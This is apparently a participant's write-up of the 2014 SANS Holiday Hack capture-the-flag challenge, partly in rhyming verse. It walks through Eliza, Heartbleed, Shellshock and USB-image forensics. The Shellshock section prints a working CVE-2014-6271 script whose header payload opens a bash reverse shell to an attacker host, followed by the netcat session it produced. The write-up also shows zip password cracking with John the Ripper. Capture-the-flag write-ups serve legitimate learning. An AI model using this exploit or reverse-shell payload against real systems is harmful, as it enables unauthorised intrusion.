twitter: @violentlydave

First: Quick answers
Second: "My Answer"
Third: Some notes / showing my work / full answers, etc

The Answers quickly to save you reading the rest if I missed something:

Past:
Eliza Secret: "Machines take me by surprise with great frequency. - Alan Turing"

Present:
Website Secret #1=Hacking can be noble.
Website Secret #2: Use your skills for good.

Future:
USB Secret #1: Your demise is a source of mirth.
USB Secret #2: Your demise is a source of relief.
USB Secret #3: Your demise is a source of gain for others.
USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil or greed.

Twas the night before work, and accepting my fate
I prepped post holiday so I wouldn't be late.
My electronics were tucked, all snug in their case
Everything needed was found, and in its place.

Checked my meeting schedule, planning ahead
I'd even plugged in toys so they wouldn't be dead.
Then from nowhere, a forgotten task, I'm a sap!
Twas the SANS Holiday Challenge, I hadn't submitted, oh crap!

So first Alan Turing, intro'd me to a system to talk
But now an open port was what I sought!
A new-fallen scan from nmap showed port 31124,
Now I had to figure out what the heck it was for.

Telnetted in, Eliza would talk, so defiant
In time her secret came in an HTTP header, the client.
This story as it unfolds, was interesting indeed,
I was just glad I had vacation time, as much as I'd need.

Next: Johnny Long, and a website, him so lively, it so quick
My girl gasps: "Doing this for fun, what a ...nerd".
A tail-end clue, about shocking of your heart
lead me to know exactly where to start.

An old bit of exploit POC that I'd used to scan my net,
still sat on my hard drive so I was all set.
Heartbleed spat out the secret, so cybercyberaptcloud-oble
..twas all I could think of to rhyme with "Hacking can be noble".

Shellshock was next, and I had leftover POC for that
And thanks to viewing the HTML, I knew it'd be the page for contact.
Pushing a shell to my host's waiting netcat listener
I dropped to a chroot'd shocked shell, no fun but a winner.

Using echos, while reads instead of cds and cats
I dug around until I found where the secret was at.
I checked to find all that I could,
then read secret two: Use your skills for good.

Last but not least, an image of future's usb drive
I wondered what pain Skoudis and Wright would hide.
I started in e-z mode, as often I'd done:
Strings'd the DD, grep'd -i secret, and found secret one.

What else could there be?, how bad would this suck?
Inside was a pcap, and a letter to Chuck.
I tossed the full image at Foremost and BulkExtractor with glee.
I start like this with images, to see what they'd see.

One item, a picture, that told of poor TinyTom,
Another, a password protected zip, but not for long.
Through the pcap, I dug, somewhat in doubt,
until I found two packet comments that somehow stuck out.

One pointed to a Stego java app, that I'd used before,
The other was a simple encoding: base64.
Secret two was base64 -d'd quite quick,
so I returned to the zip file to see what would stick.

I fed it through John, and let it RockYou,
I strings'd the resulting JPG and secret three came through!
Now the TinyTom picture, which I'd found before
I used the Stego JAR to pull out secret four!

Now the challenge is done, and write up on the way,
Of course, I'd snuck it in on the very last day.
As cheesy as I feel, creating all of these rhymes,
but who am I kidding, I'll do this again next time.

Showing my work / answers, grouped by section but may not be in order:

Past (1 secret):
nmap scan (full nmap scan for TCP) shows 31124 open
telnet to it and it's the mid 80's again.. boom, Eliza!
Query her about her secret, etc, she hints at URLs
"surf to <url>", she does so and returns the header
so surf to a site you can monitor the logs for and:

173.255.233.59 - - [23/Dec/2014:19:54:22 +0000] "GET / HTTP/1.1" 200 341 "-" "Mozilla/5.0 (Bombe; Rotors:36) Eliza Secret: \"Machines take me by surprise with great frequency. -Alan Turing\""

Present (2 secrets):
Website Secret #1=Hacking can be noble.

Used a proof of concept python code I'd found (first one I found before Graham was nice enough to add to masscan)
if heartbleed was a possibility on www.scrooge-and-marley.com

```
  0120: 03 03 02 01 02 02 02 03 01 01 00 0F 00 01 01
32  ..............2
  0130: 30 69 6E 25 32 30 61 25 32 30 64 65 65 70 25 32  0in%20a
%20deep%2
  0140: 30 62 6C 61 63 6B 25 32 30 67 61 72 6D 65 6E 74  0black
%20garment
  0150: 25 32 43 25 32 30 77 68 69 63 68 25 32 30 63 6F  %2C%20which
%20co
  0160: 6E 63 65 61 6C 65 64 25 32 30 69 74 73 25 32 30  ncealed%20its
%20
  0170: 68 65 61 64 25 32 43 25 32 30 69 74 73 25 32 30  head%2C%20its
%20
  0180: 66 61 63 65 25 32 43 25 32 30 69 74 73 25 32 30  face%2C%20its
%20
  0190: 66 6F 72 6D 25 32 43 25 32 30 61 6E 64 25 32 30  form%2C%20and
%20
  01a0: 6C 65 66 74 25 32 30 6E 6F 74 68 69 6E 67 25 32  left
%20nothing%2
  01b0: 30 6F 66 25 32 30 69 74 25 32 30 76 69 73 69 62  0of%20it
%20visib
  01c0: 6C 65 25 32 30 73 61 76 65 25 32 30 6F 6E 65 25  le%20save
%20one%
  01d0: 32 30 6F 75 74 73 74 72 65 74 63 68 65 64 25 32
20outstretched%2
  01e0: 30 68 61 6E 64 2E 25 32 30 42 75 74 25 32 30 66  0hand.%20But
%20f
```

```
  01f0: 6F 72 25 32 30 74 68 69 73 25 32 30 69 74 25 32  or%20this
%20it%2
  0200: 30 77 6F 75 6C 64 25 32 30 68 61 76 65 25 32 30  0would%20have
%20
  0210: 62 65 65 6E 25 32 30 64 69 66 66 69 63 75 6C 74  been
%20difficult
  0220: 25 32 30 74 6F 25 32 30 64 65 74 61 63 68 25 32  %20to
%20detach%2
  0230: 30 69 74 73 25 32 30 66 69 67 75 72 65 25 32 30  0its%20figure
%20
  0240: 66 72 6F 6D 25 32 30 74 68 65 25 32 30 6E 69 67  from%20the
%20nig
  0250: 68 74 25 32 43 25 32 30 61 6E 64 25 32 30 73 65  ht%2C%20and
%20se
  0260: 70 61 72 61 74 65 25 32 30 69 74 25 32 30 66 72  parate%20it
%20fr
  0270: 6F 6D 25 32 30 74 68 65 25 32 30 64 61 72 6B 6E  om%20the
%20darkn
  0280: 65 73 73 25 32 30 62 79 25 32 30 77 68 69 63 68  ess%20by
%20which
  0290: 25 32 30 69 74 25 32 30 77 61 73 25 32 30 73 75  %20it%20was
%20su
  02a0: 72 72 6F 75 6E 64 65 64 2E 25 32 30 26 57 65 62  rrounded.
%20&Web
  02b0: 73 69 74 65 25 32 30 53 65 63 72 65 74 25 32 30  site%20Secret
%20
  02c0: 25 32 33 31 3D 48 61 63 6B 69 6E 67 25 32 30 63  %231=Hacking
%20c
  02d0: 61 6E 25 32 30 62 65 25 32 30 6E 6F 62 6C 65 25  an%20be
%20noble%
  02e0: 32 65 3F 89 16 8E A3 45 3E AE D3 41 D3 34 3B 16  2e?....E>..A.
4;.
  02f0: 08 D4 76 75 9B EB E9 E9 E9 E9 E9 E9 E9 E9
E9  ..vu............
```

in a deep black garment, which concealed its head, its face, its form, and left nothing of it visible save one outstretched hand. But for this it would have been difficult to detach its figure from the night, and separate it from the darkness by which it was surrounded. Website Secret #1=Hacking can be noble.

Website Secret #2: Use your skills for good.

```
root@li629-99:~# cat shellshock.py
#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys
```

```
if (len(sys.argv)<4):
        print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" %
sys.argv[0]
        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080"
% sys.argv[0]
        exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" %
sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
        "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
root@li629-99:~#

my side:
root@li629-99:~/shellshock# nc.traditional  -l -p 6660

bash-4.2$ echo *
echo *
submit.sh
bash-4.2$ echo ../*
echo ../*
../1.png ../2.png ../3.png ../4.png ../a.mp3 ../a.ogg ../cgi-bin ../
contact.html ../index.html
bash-4.2$ echo ../../*
echo ../../*
../../lock ../../run ../../www
bash-4.2$ echo ../../../*
echo ../../../*
../../../bin ../../../dev ../../../etc ../../../lib ../../../
lib64 ../../../run ../../../sbin ../../../secret ../../../
selinux ../../../usr ../../../var
bash-4.2$ while read line; do echo "$line"; done <  ../../../secret
while read line; do echo "$line"; done <  ../../../secret
Website Secret #2: Use your skills for good.
bash-4.2$



Future (4 secrets):
USB Secret #1: Your demise is a source of mirth.
        this was found by just strings+grepping for secret on the dd
image
```

USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil or greed.
        found with bulkextractor
        pcap showed googlecode url
        comment on packet 2105 had url to https://code.google.com/p/f5-steganography/
        if showed the googlecode use -> f5 stego jar
        turned up bulkextractor to carve any JPEGs, and it produced the tiny tom one

USB Secret #3: Your demise is a source of gain for others.
found a zip w/ foremost
copied to holiday2014.zip
used zip2john
john + rockyou
root@onelasttime:/usr/local/src/john-bleeding-jumbo#
root@onelasttime:/usr/local/src/john-bleeding-jumbo# ./run/zip2john holiday2014.zip
holiday2014.zip->Bed_Curtains.png PKZIP Encr: 2b chk, TS_chk, cmplen=1429113, decmplen=1434946, crc=2A9C8C9D
holiday2014.zip:$pkzip$1*2*3*0*15ce79*15e542*2a9c8c9d*0*4a*8*f*4d1a*holiday2014.zip*$/pkzip$:::::holiday2014.zip
root@onelasttime:/usr/local/src/john-bleeding-jumbo# ./run/zip2john holiday2014.zip > holiday2014_zip.pwd
holiday2014.zip->Bed_Curtains.png PKZIP Encr: 2b chk, TS_chk, cmplen=1429113, decmplen=1434946, crc=2A9C8C9D
root@onelasttime:/usr/local/src/john-bleeding-jumbo# cat holiday2014_zip.pwd
holiday2014.zip:$pkzip$1*2*3*0*15ce79*15e542*2a9c8c9d*0*4a*8*f*4d1a*holiday2014.zip*$/pkzip$:::::holiday2014.zip
root@onelasttime:/usr/local/src/john-bleeding-jumbo# ./run/john --wordlist=rockyou.txt holiday2014_zip.pwd
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
shambolic   (holiday2014.zip)
1g 0:00:00:00 DONE (2014-12-13 16:15) 1.298g/s 4993Kp/s 4993Kc/s 4993KC/s shambry..shambertone
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@onelasttime:/usr/local/src/john-bleeding-jumbo#
root@onelasttime:/usr/local/src/john-bleeding-jumbo# unzip holiday2014.zip
Archive: holiday2014.zip
[holiday2014.zip] Bed_Curtains.png password:
  inflating: Bed_Curtains.png
root@onelasttime:/usr/local/src/john-bleeding-jumbo# strings

```
Bed_Curtains.png | grep -i secret
USB Secret #3: Your demise is a source of gain for others.
root@onelasttime:/usr/local/src/john-bleeding-jumbo#



____
VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg==
packet 2000 in comments
tzerd@onelasttime:~/Desktop/CTFs/holiday_2014/future$ echo
VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg== |
base64 -d
USB Secret #2: Your demise is a source of relief.
```